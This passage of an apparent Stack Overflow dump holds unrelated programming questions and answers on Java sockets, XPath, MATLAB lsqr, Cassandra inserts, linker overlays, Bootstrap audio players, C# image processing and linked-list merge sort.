JTable that displays on screen. This dynamically allocates the column names, and displays the associated values. I can provide a sample of this code if needed, but i don't think it's relevant to the issue as this is failing on simply creating the resultset, rather then when it's trying to assign the information to the table model.</p> <p>[Editing this in]: Stored procedures on SQL side are not a viable option in this instance. This is a query against a data warehouse that does not allow stored procs as company policy (I've pushed back, and have been smacked down) - As a result, I'm working on this ... hackish solution.</p> <p>Hopefully somebody has some insight into this issue!</p>
26778850	0	 <p>XPath 1.0 was specified in 1999 and defines the <code>contains</code> function. <a href="http://www.w3.org/TR/xpath20/" rel="nofollow">XPath 2.0</a> was specified in 2007 and <a href="http://www.w3.org/TR/xquery-operators/#func-lower-case" rel="nofollow">defines the <code>lower-case</code> function</a>. The latest version is <a href="http://www.w3.org/TR/xpath-30/" rel="nofollow">XPath 3.0</a>. If you want to use the <code>lower-case</code> function then you need to use an XPath 2.0 or 3.0 implementation or alternatively an XQuery 1.0 or 3.0 implementation as XPath is basically a subset of XQuery. I suspect that you are using an XPath 1.0 implementation and simply get an error that the function <code>lower-case</code> is not known.</p>
4489232	0	Java Server socket stuck on accept call (Android Client, Java Server) <p>Below I have put a fragment of code to help understand my problem. I have a server code, works fine for the first time the client loads and sends a packet. After the first packet is received, the server is stuck on "accept".</p> <p>I have wireshark configured for this port, and the server is getting those packets. I just wonder why accept wont return more than once. Its driving me nuts.</p> <p>Server Code</p> <pre><code> public class DAPool implements Runnable { private ServerSocket serverSocket; private ArrayList&lt;DA&gt; pool; private LinkedList&lt;Socket&gt; clientConnQ; public DAPool(int newPoolSize, int serverPort) { try { serverSocket = new ServerSocket(serverPort, 500, InetAddress.getByName("127.0.0.1")); } catch (IOException e) { e.printStackTrace(); return; } poolSize = newPoolSize; clientConnQ = new LinkedList&lt;Socket&gt;(); pool = new ArrayList&lt;DA&gt;(poolSize); DA deviceThread; for (int threads = 0; threads &lt; poolSize; threads++) { deviceThread = new DA(); connPool.add(deviceThread); deviceThread.start(); } } public void run() { while (true) { Socket incomingSocket; try { incomingSocket = serverSocket.accept(); } catch (IOException e) { e.printStackTrace(); return; } insertNewConnToQ(incomingSocket); } } private class DA extends Thread { private Socket clientSocket; private ObjectInputStream inputObjectStream; public DA() { } public void run() { while (true) { while (clientConnQ.isEmpty()) { synchronized (clientConnQ) { try { clientConnQ.wait(); } catch (InterruptedException ignored) { ignored.printStackTrace(); } } } synchronized (clientConnQ) { clientSocket = (Socket) clientConnQ.removeFirst(); try { inputObjectStream = new ObjectInputStream(clientSocket.getInputStream()); } catch (IOException e) { e.printStackTrace(); return; } // Do something useful here } } } } } </code></pre> <p>Client Code</p> <pre><code>public class SendQueue extends Thread { LinkedList&lt;Message&gt; requestQ; Message sendRequest, requestMessage; Socket clientSocket; OutputStream outputStream; ObjectOutputStream objectOutputStream; public SendQueue(Socket newClientSocket) { requestQ = new LinkedList&lt;Message&gt;(); clientSocket = newClientSocket; } public void run() { while (true) { synchronized (requestQ) { while (requestQ.isEmpty()) { try { requestQ.wait(); } catch (InterruptedException ignored) { ignored.printStackTrace(); } } sendRequest = requestQ.removeFirst(); } try { outputStream = clientSocket.getOutputStream(); objectOutputStream = new ObjectOutputStream(outputStream); objectOutputStream.writeObject(sendRequest); objectOutputStream.flush(); outputStream.flush(); } catch (IOException e) { e.printStackTrace(); } catch (RuntimeException e) { e.printStackTrace(); } } } public int sendRequest(Message message) { synchronized (requestQ) { requestQ.addLast(message); requestQ.notify(); } return 0; } } </code></pre>
29190731	0	 <p>Your code will give the ArrayIndexOutOfBoundsException if usrSet is greater than 1. If your intention is to just make a copy of an array, I am not sure why you are doing so many things. Probably the below code may suffice:</p> <p><code> String[] deckCards = new String[setLength]; for(int j = 0; j &lt; cards.length; j++){ temp = cards[j]; deckCards[j]= temp; }</code></p> <p>If you are at liberty to use other api, try exploring java.util.Arrays</p>
37800052	0	 <p>Bear in mind that audiences only begin accumulating members <em>after</em> you define them. So, after you define this audience, once at least 10 LOGIN events are logged with a sign_up_method which includes "CEO", you will see your results in Firebase Analytics. More on audiences in the <a href="https://support.google.com/firebase/answer/6317509?hl=en&amp;ref_topic=6317489" rel="nofollow">Firebase Help Center</a>.</p>
6122070	0	How to get tasklist information from cmd, without using "tasklist" command <p>Anyone knows how to extract the tasklist information using cmd, but without using "tasklist /svc" command? </p>
35633658	0	lsqr result strongly depends on weights <p>I need to solve</p> <pre><code>argmin||W*FT^-1(Ax)-W*p|| </code></pre> <p>using lsqr. p is image, x is k-space matrix, A is a matrix and W is a weighting matrix. In order to pass them to matlab lsqr, I vectorized p, x and W. This is my code:</p> <pre><code>b=W.*p; x=lsqr(@(x1,modo)FUNC(x1,W_vector,A,modo),b,tol,maxit); X_k_lsqr=reshape(x,dim(1),dim(2),dim(3)); X_lsqr=real(ifftn(X_k_lsqr)).*MASK(:,:,:,1); </code></pre> <p>%% Auxiliary function</p> <pre><code>function [result modo]=FUNC(x1,W_vector,A,modo) %Computes y=A*x for modo='notransp' %Computes y=A'*x for modo='transp' switch modo case 'notransp' res=A*x1; R1=reshape(res,norient,dim(1)*dim(2)*dim(3)); for co=1:norient R2(:,:,:,co)=reshape(R1(co,:),dim(1),dim(2),dim(3)); FR(:,:,:,co)=ifftn(R2(:,:,:,co)); aux=FR(:,:,:,co); R3(co,:)=aux(:).'; end result=W.*R3(:); case 'transp' RR1=reshape(x1./(W+eps),norient,dim(1)*dim(2)*dim(3)); for co=1:norient RR2(:,:,:,co)=reshape(RR1(co,:),dim(1),dim(2),dim(3)); FRR(:,:,:,co)=fftn(RR2(:,:,:,co)); aux=FRR(:,:,:,co); RR3(co,:)=aux(:).'; end result=A'*RR3(:); end end </code></pre> <p>As W appears in both terms of the minimization problem, I would have expected the image I obtain as a result to be almost independent on W values. The image looks qualitatively the same if I change W, but its values strongly depend on W. I don't know if something is wrong with my code. Should I actually obtain almost the same values for different W? Thank you very much for your help.</p> <p>EDIT: I added an initial guess and now the result does not depend on W. Does anyone know why?</p>
12213252	0	 <p>Try this:</p> <pre><code>Uri uri = Uri.parse("https://www.google.com"); startActivity(new Intent(Intent.ACTION_VIEW, uri)); </code></pre> <p>or if you want then web browser open in your activity then do like this:</p> <pre><code>WebView webView = (WebView) findViewById(R.id.webView1); WebSettings settings = webview.getSettings(); settings.setJavaScriptEnabled(true); webView.loadUrl(URL); </code></pre> <p>and if you want to use zoom control in your browser then you can use:</p> <pre><code>settings.setSupportZoom(true); settings.setBuiltInZoomControls(true); </code></pre>
17667061	0	 <p>Looking at <a href="http://hg.python.org/cpython/file/v2.7.4/Lib/ctypes/__init__.py#l243" rel="nofollow">the source</a>, <code>__repr__</code> will only show the contents of the string if</p> <ol> <li>It is running on Windows; and</li> <li><a href="http://msdn.microsoft.com/en-us/library/aa366714.aspx" rel="nofollow"><code>IsBadStringPtr</code></a> returns <code>TRUE</code>.</li> </ol> <p>They probably want to show a string representation if possible, since that's a rather useful thing to show, but not crash your program if it points somewhere unexpected. <code>IsBadStringPtr</code> only exists on Windows, necessitating the first check. Frankly, I'm surprised they'd use it, as it's clearly marked obsolete, and <a href="https://blogs.msdn.com/b/oldnewthing/archive/2006/09/27/773741.aspx" rel="nofollow">for good reasons</a>.</p>
21745915	0	cassandra performance and speed with multiple insertion? <p>I am new to cassandra and migrating my application from Mysql to cassandra.As i read of cassandra it says it reduces the read and write time compared to Mysql.when i tried a simple example with single node using hector, reading operation is quite faster compared to Mysql,and if i tried to insert a single column it is very fast compared to mysql.But when i tried to insert a single row with multiple columns its taking long time compared to mysql. Is there anyway to improve Write performance or please let me know if i am wrong with my way of coding.</p> <p>My sql code is <code>INSERT into energy_usage(meter_id,reading_datetime,reading_date,reading_time,asset_id,assetid) VALUES('164','2012-12-07 00:30:00','2012-12-07','00:00:00','1','1') " </code> my cassandra code is</p> <pre><code>Mutator&lt;String&gt; mutator = HFactory.createMutator(keyspaceOperator, StringSerializer.get()); mutator.addInsertion("888999", DYN_CF, HFactory.createStringColumn("assetid","1")). addInsertion("888999", DYN_CF, HFactory.createStringColumn("meterid", "164")). addInsertion("888999", DYN_CF, HFactory.createStringColumn("energyusage","10")). addInsertion("888999", DYN_CF, HFactory.createStringColumn("readdate","2012-12-07")). addInsertion("888999", DYN_CF, HFactory.createStringColumn("readdatetime","2012-12-07 00:30:00")); mutator.execute(); </code></pre>
29281992	0	 <p>Difference is crucial. Relocation address is addend to all relocs in section. So if it differ with load address, nothing will really work in this section -- all relocs inside section will be resolved to wrong values.</p> <p>So why do we need technique like this? Not so much applications, but suppose (<a href="http://ftp.gnu.org/old-gnu/Manuals/ld-2.9.1/html_node/ld_22.html" rel="nofollow">from here</a>) you do have on your architecture extremely fast memory at 0x1000</p> <p>Then you may take two sections to have relocation address 0x1000:</p> <pre><code>.text0 0x1000 : AT (0x4000) { o1/*.o(.text) } __load_start_text0 = LOADADDR (.text0); __load_stop_text0 = LOADADDR (.text0) + SIZEOF (.text0); .text1 0x1000 : AT (0x4000 + SIZEOF (.text0)) { o2/*.o(.text) } __load_start_text1 = LOADADDR (.text1); __load_stop_text1 = LOADADDR (.text1) + SIZEOF (.text1); . = 0x1000 + MAX (SIZEOF (.text0), SIZEOF (.text1)); </code></pre> <p>Now at runtime go ahead and when you need text1, manage it by yourself to be copied on right address from its actual load address:</p> <pre><code>extern char __load_start_text1, __load_stop_text1; memcpy ((char *) 0x1000, &amp;__load_start_text1, &amp;__load_stop_text1 - &amp;__load_start_text1); </code></pre> <p>And then use it, <strong>as it was loaded</strong> here naturally. This technique is called overlays.</p> <p>I think, example is pretty clear.</p>
4731669	0	which files are need to create .ipa for my application which is done in xcode <p>I am creating a simple application in xcode </p> <p>Now i need to create ipa for that file.</p> <p>By google i found some info regarding this.</p> <p>create a folder named Payload and copy the app file,Zip the fine and rename zip to .ipa.</p> <p>But i have a doubt in the this path users/username/library/application support/iphone simulator/4.1/Applications </p> <p>i found a folder named with random alphabets and numbers.</p> <p>In that i found documents,library,tmp folders along with my application.app.</p> <p>is i need to copy all the 3 folders into payload or just my application.app is enough.</p> <p>And i did n't get my icon in over the .ipa.</p> <p>How can i get it.</p> <p>can any one pls help me.</p> <p>Thank u in advance. </p>
22851901	0	Route specific page to controller in ASP.NET MVC <p>If I have a page on my site (extension could be ".html", whatever:</p> <p><a href="http://tempuri.org/mypage.asp" rel="nofollow">http://tempuri.org/mypage.asp</a></p> <p>I want this page to invoke a specific web api controller and action. Can anyone help with configuring this in the route mapping? Thanks.</p>
38752559	0	 <p>Alright so it's nothing related to the CardView. Just buttons on Android 5.1 (Lollipop)+ Try these two rules with your class and it will work. You won't need <code>border-color: transparent</code> with this either.</p> <p><code> border-width: 0.1; background-color: transparent; </code></p>
16689064	0	 <p>It's because you use <a href="http://underscorejs.org/#without" rel="nofollow">http://underscorejs.org/#without</a>, which creates a copy of the array instead of just removing the item. When you remove an item a new array will be linked to the scope, and the new array is not linked with array in the isolate scope.</p> <p>To solve this problem you can use splice instead, which removes the item from the original array:</p> <pre class="lang-js prettyprint-override"><code>$scope.removeSkill = function() { $scope.profile.skills.splice(_.indexOf($scope.profile.skills, this.skill),1); }; </code></pre> <p>...</p> <pre><code>$scope.removeItem = function() { $scope.list.splice(_.indexOf($scope.list, this.item),1); }; </code></pre> <p>Updated plunker: <a href="http://jsfiddle.net/jtjf2/" rel="nofollow">http://jsfiddle.net/jtjf2/</a></p>
11971345	0	 <p>tinyMCE <a href="http://www.tinymce.com/wiki.php/Configuration%3avalid_elements" rel="nofollow">valid_elements</a> option allows to specify wide range of rules to 'normalize' the document: it's powerful, but it's quite strict in its syntax. Particularly speaking, one shouldn't use whitespace as additional separator of the rules. </p> <p>For example, to restrict valid elements to <code>&lt;p&gt;</code> and <code>&lt;br /&gt;</code> only, this line should be used:</p> <pre><code>... valid_elements: 'p,br' // not valid_elements: 'p, br' ... </code></pre>
24316986	0	 <p>The following method should give you a string array of zero's and one's, representing the specified image:</p> <pre><code>private static string ConvertToString(Bitmap image) { StringBuilder result = new StringBuilder(); StringBuilder imageLine = new StringBuilder(); // Iterate each pixel from top to bottom for (int y = 0; y &lt; image.Height; y++) { // Iterate each pixel from left to right for (int x = 0; x &lt; image.Width; x++) { Color pixelColour = image.GetPixel(x, y); // Determine how "dark" the pixel via the Blue, Green, and Red values // (0x00 = dark, 0xFF = light) if (pixelColour.B &lt;= 0xC8 &amp;&amp; pixelColour.G &lt;= 0xC8 &amp;&amp; pixelColour.R &lt;= 0xC8) { imageLine.Append("1"); // Dark pixel } else { imageLine.Append("0"); // Light pixel } } // Add line of zero's and one's to end results result.AppendLine(imageLine.ToString()); imageLine.Clear(); } return result.ToString(); } </code></pre> <p>This is based on <a href="http://www.c-sharpcorner.com/UploadFile/hscream/ImagetoBinary02132007164649PM/ImagetoBinary.aspx" rel="nofollow">the link you provided</a>, but I've amended the code in a few places, like how the comparison of the pixel values was previously also based on the Alpha, and the string representations of the values.</p> <p>The following console application code should output the result, but I wouldn't recommend it for large images; maybe output to a text file instead?</p> <pre><code>using System; using System.Drawing; using System.Text; namespace ConsoleApplication1 { class Program { static void Main(string[] args) { // Read image into memory var img = new Bitmap(@"C:\Temp\MickyMouse.png"); // Modify width of console buffer to keep each line of characters "on one line" Console.SetBufferSize(img.Width + 10, img.Height + 10); Console.WriteLine(ConvertToString(img)); Console.ReadLine(); } private static string ConvertToString(Bitmap image) { // Code from above } } } </code></pre> <p>You'll need to add a reference to <code>System.Drawing</code> to the project in order for it to compile.</p>
18809594	0	 <p>Google's JavaScript CDN serves jQuery's source map as <code>application/json</code>.</p> <p><img src="https://i.stack.imgur.com/ThAEV.png" alt="enter image description here"></p>
10546310	0	 <p>You should not use <code>gcnew</code> inside the array initializer:</p> <pre><code>array&lt;String^&gt;^ arr = gcnew array&lt;String^&gt; { "Madam I'm Adam.", "Don't cry for me,Marge and Tina.", "Lid off a daffodil.", "Red lost Soldier.", "Cigar? Toss it in a can. It is so tragic." }; </code></pre>
23014509	0	 <p>Simplest solution is to use the dynamic array and call the <code>.reserve</code> method before doing any appends. Then it will preallocate the space and future appends will be cheap.</p> <pre><code>void main() { MyStruct[] structs; structs.reserve(256); // prealloc memory foreach(id; 0 .. 256) structs ~= MyStruct(id); // won't reallocate } </code></pre> <p>That's how I'd do it with dynamic arrays, writing to individual members I don't think will ever work with immutability involved like this.</p> <p>BTW if you wanted a static array, calling reserve won't work, but you can explicitly initialize it.... to <code>void</code>. That'll leave the memory completely random, but since you explicitly requested it, the disabled default constructor won't stop you. (BTW this is prohibited in <code>@safe</code> functions) But in this case, those immutable members will leave it garbage forever unless you cast away immutability to prepare it soo.. not really workable, just a nice thing to know if you ever need it in the future.</p>
40517681	0	Howto set Outlook MailItem Property Category <p>I am trying to set the category of the currently selected outlook mail item to a value.</p> <p>The following seems to be setting it but it isnt updating the GUI of Outlook.</p> <pre><code>Option Explicit Public Sub SaveMessageAsMsg() Dim oMail As Outlook.MailItem Dim objItem As Object Dim sPath As String Dim dtDate As Date Dim sName As String Dim enviro As String Dim oPA As PropertyAccessor Dim arrErrors As Variant Dim i As Integer enviro = CStr(Environ("USERPROFILE")) For Each objItem In Application.ActiveExplorer.Selection If objItem.MessageClass = "IPM.Note" Then Set oMail = objItem Debug.Print oMail.Categories oMail.Categories = "99 - Archive" Debug.Print oMail.Categories End If Next </code></pre> <p>End Sub</p>
24859414	0	Customize Gii Code Generator For Internal Use <p>I am new to yii.I want to use Gii Code Generator in my application for generate model and CRUD dynamically.Like i am giving rights to choose field for their form.They enter details for fields and click button for generate form at that time in back hand i want to generate table for that all field, model and crude for that.I can generate table in back hand but when i want to generate model and crude i have show interface of gii. I can't hide it from User so please help me out if any one knew how to generate all in back hand.please.</p>
40920415	0	 <p>In addition to the above answer, using <code>newAPIHadoopRDD</code> means that, you get all the data from HBase and from then on, its all core spark. You would not get any HBase specific API like Filters etc. And the current spark-hbase, only snapshots are available. </p>
22715611	0	 <p>I've come up with an alternate solution that to me seems safer than LombaX's. It uses the fact that both events come in with the same timestamp to reject the subsequent event.</p> <pre><code>@interface RFNavigationBar () @property (nonatomic, assign) NSTimeInterval lastOutOfBoundsEventTimestamp; @end @implementation RFNavigationBar - (UIView *)hitTest:(CGPoint)point withEvent:(UIEvent *)event { // [rfillion 2014-03-28] // UIApplication/UIWindow/UINavigationBar conspire against us. There's a band under the UINavigationBar for which the bar will return // subviews instead of nil (to make those tap targets larger, one would assume). We don't want that. To do this, it seems to end up // calling -hitTest twice. Once with a value out of bounds which is easy to check for. But then it calls it again with an altered point // value that is actually within bounds. The UIEvent it passes to both seem to be the same. However, we can't just compare UIEvent pointers // because it looks like these get reused and you end up rejecting valid touches if you just keep around the last bad touch UIEvent. So // instead we keep around the timestamp of the last bad event, and try to avoid processing any events whose timestamp isn't larger. if (point.y &gt; self.bounds.size.height) { self.lastOutOfBoundsEventTimestamp = event.timestamp; return nil; } if (event.timestamp &lt;= self.lastOutOfBoundsEventTimestamp + 0.001) { return nil; } return [super hitTest:point withEvent:event]; } @end </code></pre>
3335710	0	 <p>easiest way is to add a new web config file to the admin section</p> <pre><code>&lt;?xml version="1.0"?&gt; &lt;configuration&gt; &lt;system.web&gt; &lt;authorization&gt; &lt;deny users="*" /&gt; &lt;allow roles="Admin" /&gt; &lt;/authorization&gt; &lt;/system.web&gt; &lt;/configuration&gt; </code></pre>
8365074	0	Image taken from ImageList looks different than taken straight from resource <p>I have a form with two buttons. </p> <p>To one of them I assigned an image (a 16 x 16, 32 bit depth <code>png</code>) by setting the <code>Image</code> property from VS's properties editor (using the <code>Import...</code> button).</p> <p>I also have an <code>ImageList</code> (16 x 16 <code>ImageSize</code> and <code>Depth32Bit</code> <code>ColorDepth</code>) to which I assigned the same image as to the first button also from the properties editor -> <code>Images</code> and then <code>Add</code>. Then I assigned this image to my second button this way:</p> <pre><code>button2.Image = imageList.Images[0]; </code></pre> <p>And this is how the images look (2x the actual size): </p> <p><img src="https://i.stack.imgur.com/RVhED.png" alt="enter image description here"></p> <p>Is it possible to have my second button look like my first one by using an <code>ImageList</code>? The reason why I use an <code>ImageList</code> is because when checking performance, the line of code that loaded the image from the resource was a hot spot according to VS's Performance Wizard. </p> <p>My application will have a list of controls, each of which have a bunch of buttons with images, so I want them to load as fast as possible. So what I have is a static <code>ImageList</code> from which each of these controls get their images.</p>
2422364	0	 <p>if you want to remove lines that contains words in that blacklist</p> <pre><code>grep -v -f blacklist.txt inputfile &gt; filtered_file.txt </code></pre> <p>if you want to remove just the words alone</p> <pre><code>awk 'FNR==NR{ blacklist[$0] next } { for(i=1;i&lt;=NF;i++){ if ($i in blacklist){ $i="" } } }1' blacklist inputfile &gt; filtered_file.txt </code></pre>
38911583	0	 <p>If your number is sms capable and still you are getting the 21606 error, then check 'Active Numbers' tab under 'Manage Numbers'. It should show your number '+43720881723' as an active number.</p>
38142956	0	Bootstrap responsive audio player <p>I need help. When I'm using an audio in the container (bootstrap) I have 4 player in 1 row - that's fine (col-lg-3), but when I'm resizing my window (from col-md-4 to col-xs-6) then magic happens... players are in different places :/ you can look at this here:</p> <p><a href="https://i.stack.imgur.com/WxQRb.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/WxQRb.jpg" alt="enter image description here"></a></p> <pre><code>&lt;div class="container"&gt; &lt;div class="row"&gt; &lt;div class="col-lg-3 col-md-3 col-sm-4 col-xs-6"&gt; &lt;p class="titles"&gt;Bird Wings&lt;/p&gt; &lt;audio class="audio controls"&gt; &lt;source src="http://audiosoundclips.com/wp-content/uploads/2011/12/Dogbark.mp3" type="audio/mpeg"&gt; Your browser does not support the audio element. &lt;/audio&gt; &lt;/div&gt; &lt;div class="col-lg-3 col-md-3 col-sm-4 col-xs-6"&gt; &lt;p class="titles"&gt;Bird Wings&lt;/p&gt; &lt;audio class="audio controls"&gt; &lt;source src="http://audiosoundclips.com/wp-content/uploads/2011/12/Dogbark.mp3" type="audio/mpeg"&gt; Your browser does not support the audio element. &lt;/audio&gt; &lt;/div&gt; &lt;div class="col-lg-3 col-md-3 col-sm-4 col-xs-6"&gt; &lt;p class="titles"&gt;Bird Wings&lt;/p&gt; &lt;audio class="audio controls"&gt; &lt;source src="http://audiosoundclips.com/wp-content/uploads/2011/12/Dogbark.mp3" type="audio/mpeg"&gt; Your browser does not support the audio element. &lt;/audio&gt; &lt;/div&gt; &lt;div class="col-lg-3 col-md-3 col-sm-4 col-xs-6"&gt; &lt;p class="titles"&gt;Bird Wings&lt;/p&gt; &lt;audio class="audio controls"&gt; &lt;source src="http://audiosoundclips.com/wp-content/uploads/2011/12/Dogbark.mp3" type="audio/mpeg"&gt; Your browser does not support the audio element. &lt;/audio&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre>
14733858	0	 <p>Highly variant write latency is a common attribute of SSDs (especially consumer models). There is a pretty good explanation of why in this <a href="http://www.anandtech.com/show/6432/the-intel-ssd-dc-s3700-intels-3rd-generation-controller-analyzed" rel="nofollow">AnandTech review</a> . </p> <p>Summary is that the SSD write performance worsens overtime as the wear leveling overhead increases. As the number of free pages on the drive decreases the NAND controller must start defragmenting pages, which contributes to latency. The NAND also must build an LBA to block map to track the random distribution of data across various NAND blocks. As this map grows, operations on the map (inserts, deletions) will get slower.</p> <p>You aren't going to be able to solve a low level HW issue with a SW approach, you are going to need to either move up to an enterprise level SSD or relax your latency requirements.</p>
11482582	0	 <p>It's not clear what you want do do, but if you're using POST to send it to PHP then you can check if the value is empty like this</p> <pre><code>&lt;?php if(empty($_POST['value_name'])) { echo 'value is required'; } else { // OK } </code></pre>
37503493	0	 <p>Here is how you can make the function work as described:</p> <pre><code>bag_sword = [] def equip(x): global bag_sword if x == "iron sword": if "iron sword" in bag_sword: print "You can't have 2 weapons equipped!" else: bag_sword.append("iron sword") print bag_sword # Prints "[]". equip("iron sword") # Prints nothing. Puts the string "iron sword" in bag_sword. print bag_sword # Prints "['iron sword']". equip("iron sword") # Prints "You can't have 2 weapons equipped!". bag_sword is unchanged. </code></pre>
11664673	0	 <p>Use <code>setFieldChangeListener</code> will do for all action.</p> <pre><code> if (position != 0) { title = new Custom_LabelField(Config_GlobalFunction.maintitle, DrawStyle.ELLIPSIS | LabelField.USE_ALL_WIDTH | DrawStyle.HCENTER | Field.FOCUSABLE | ButtonField.CONSUME_CLICK, Color.WHITE) { protected boolean navigationClick(int status, int time) { Main.getUiApplication().pushScreen( new Custom_LoadingScreen(1)); Main.getUiApplication().invokeLater(new Runnable() { public void run() { Main.getUiApplication().pushScreen( new Main_AllLatestNews()); } }, 1 * 1000, false); return true; } }; } else { title = new Custom_LabelField(Config_GlobalFunction.maintitle, DrawStyle.ELLIPSIS | LabelField.USE_ALL_WIDTH | DrawStyle.HCENTER, Color.WHITE); } title.setFont(Font.getDefault().derive(Font.BOLD, fontsize)); add(title); if (left == 1) { newsbtn = new Custom_ButtonField(news, newsactive, newsactive); newsbtn.setChangeListener(new FieldChangeListener() { public void fieldChanged(Field field, int context) { Main.getUiApplication().pushScreen( new Menu_PopupMenu(position)); } }); add(newsbtn); } else if (left == 2) { backbtn = new Custom_ButtonField(back, backctive, backctive); backbtn.setChangeListener(new FieldChangeListener() { public void fieldChanged(Field field, int context) { Main.getUiApplication().popScreen(mainscreen); } }); add(backbtn); } if (right == 1) { downloadbtn = new Custom_ButtonField(download, downloadactive, downloadactive); downloadbtn.setChangeListener(new FieldChangeListener() { public void fieldChanged(Field field, int context) { if (Config_GlobalFunction .Dialog(Config_GlobalFunction.alertdownload)) { if (Config_GlobalFunction.isConnected()) { webservice.UpdateAllCatNews(); } else Config_GlobalFunction.Message( Config_GlobalFunction.nowifi, 1); } else Config_GlobalFunction.CloseDialog(); } }); add(downloadbtn); } else if (right == 2) { refreshbtn = new Custom_ButtonField(refresh, refreshactive, refreshactive); refreshbtn.setChangeListener(new FieldChangeListener() { public void fieldChanged(Field field, int context) { if (Config_GlobalFunction.isConnected()) { Config_GlobalFunction.Message( Config_GlobalFunction.refreshing, 1); webservice.UpdateMoreCatNews(catsid, position, header); } else Config_GlobalFunction.Message( Config_GlobalFunction.nowifi, 1); } }); add(refreshbtn); } } </code></pre> <p>However, there is a bad thing which is when you click or use trackwheel to click the button, it will appear blue color.</p>
27268554	0	 <p>Where is the file InpData.txt?</p> <p>Place a breakpoint and debug <code>new File(fileName).getAbsolutePath()</code> to see where it should be. Place your file there.</p> <p>Don't hard-code the path if you want the code to be portable (if it is being executed on another machine).</p>
18317328	0	angularjs same directive (outside click) for multiple elements <p>So I have 2 elements with the same directive: (coffeescript)</p> <pre><code>myApp.directive "clickOutside", ["$document", ($document) -&gt; restrict: "A" link: (scope, elem, attr, ctrl) -&gt; elem.bind "click", (e) -&gt; e.stopPropagation() $document.bind "click", -&gt; scope.$apply attr.clickOutside ] </code></pre> <p>and the HTML:</p> <pre><code>&lt;div class="filter-box" click-outside="showFilterList=false"&gt; &lt;div class="filter-title" ng-click="showFilterList=!showFilterList;"&gt;Open&lt;/div&gt; &lt;ul class="filter-list" ng-class="{show:datePickerModel.showFilterList}"&gt; &lt;li&gt;&lt;/li&gt; ... ... &lt;/ul&gt; &lt;/div&gt; &lt;div class="filter-box" click-outside="showFilterList=false"&gt; &lt;div class="filter-title" ng-click="showFilterList=!showFilterList;"&gt;Open&lt;/div&gt; &lt;ul class="filter-list" ng-class="{show:datePickerModel.showFilterList}"&gt; &lt;li&gt;&lt;/li&gt; ... ... &lt;/ul&gt; &lt;/div&gt; </code></pre> <p>I have 2 DIV's that click on the filter-title will change the showFilterList to true and by that the filter-list gets the 'show' class. clicking outside the element will set the showFilterList to false and filter-list is hidden again. Everything is working fine expect for one scenario: clicking on the first element filter-title and show the filter-list. clicking on the second element filter-title will show itself filter-list but won't set to false the first element that was already clicked.</p> <p>How can I do it so each directive will have it's own scope when triggered?</p> <p>Thanks!</p>
33687524	0	Bottom up merge sort on Linked List <p>Bottom up merge sort treats a list each element of size 1, and iteratively merge the sub-lists back and forth until they are in sorted order. This makes it very attractive to use bottom up merge sort to sort linked list as they are already "separated".</p> <p>I'm trying to implement bottom up merge sort in C language, and realised that there are various approach to implement bottom up merge sort; in particular, I'm using this approach: </p> <ol> <li>Insert single lists into a queue</li> <li>Dequeue first two lists and merge them</li> <li>Enqueue merged lists (merged items go to the end)</li> <li>Repeat step 1-3 until they are in sorted order</li> </ol> <p>However, I'm struggling to implement the following:</p> <ul> <li>Merge linked-lists without using extra O(n) space (if possible)</li> </ul> <p>Hence, my questions are: </p> <ul> <li><strong><em>How would one implement</em></strong> this correctly in C language? (in particular: the handling of repeating the <strong><em>dequeue and enqueue process until it's fully sorted</em></strong>) How would one know if the entire queue is in sorted order? I'm thinking of keeping track of the *head pointer(s) in a list.</li> <li><strong><em>Is merge sort stable in this case? Why?</em></strong> </li> <li>The running time of bottom-up merge sort is still O(nlogn). However, <strong><em>does this bottom up merge sort use O(n) space</em></strong>? Suppose the linked-list we implement is already a queue. </li> <li>Extra question: is there a better alternative to implement bottom-up merge sort on linked list? </li> </ul> <p>I suppose this is one of the advantage of using bottom-up merge sort on linked list, as it is more space efficient than using bottom-up merge sort on arrays. Correct me if I'm wrong.</p>
32293575	0	 <p>Thanks @Bjoerg, Your solution works.</p> <p>I did the remote configuration for my cordova app not in the "Options->Cross Platform->C++->iOS" section, but in "Options-Tools for Apache Cordova->Remote Agent Configuration" and it worked like a charm</p> <p>Regards </p>
17204834	0	How to make a fancy mysql join that can join three tables and detect if one table DOESNT have my item <p>php mysql query I have multiple linked tables - I also have a table that only creates and entry if certian conditions exist so I would like to add that into my query to avoid having to go through thousands of query searches looking for this special case</p> <p>here is my current query</p> <pre><code>$query = "SELECT a.UUID FROM contract a INNER JOIN geoPoint b ON a.customer_UUID = b.customerUUID WHERE b.garcom_UUID = '$garbCom' AND b.city_UUID = '$city'"; </code></pre> <p>I then go through each item that was returned (in the thousands)</p> <pre><code>while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $sentdata = getothertable($row['UUID']); //checks if the item is in the table $sent = $sentdata ['senttoGarcom']; if($sent == 0) //if it wasn't found add it to my list { array_push($Contracts,$row['UUID']); } } </code></pre> <p>instead of all that I would like to just make it one query - pseduo code something like this</p> <pre><code> $query = "SELECT a.UUID FROM contract a INNER JOIN geoPoint b ON a.customer_UUID = b.customerUUID INNER JOIN contract_sales c ON a.UUID = c.contractUUID WHERE b.garcom_UUID = '$garbCom' AND b.city_UUID = '$city' AND c.DOESNOTEXIST"; </code></pre> <p>this way I dont have to return thousands I will only be returned the few that are not yet in the contract_sales table and I can go about my business...</p> <p>Appreciate any help!</p>
35720472	0	 <p>I just want to extend the answer from <a href="http://stackoverflow.com/users/2190416/arnaud-t">Amaud T</a>:</p> <p>I faced the same issue and I used the above answer, with some small modifications:</p> <pre><code>&lt;style type="text/css"&gt; #chartComponentId table.jqplot-table-legend { width: auto !important;} &lt;/style&gt; &lt;div id="chartComponentId" class="chartComponent"&gt; ... &lt;/div&gt; </code></pre> <p>Due to the need of use <em>!important</em>, binding this stylesheet on a particular div objects prevents any side effects to other elements.</p>
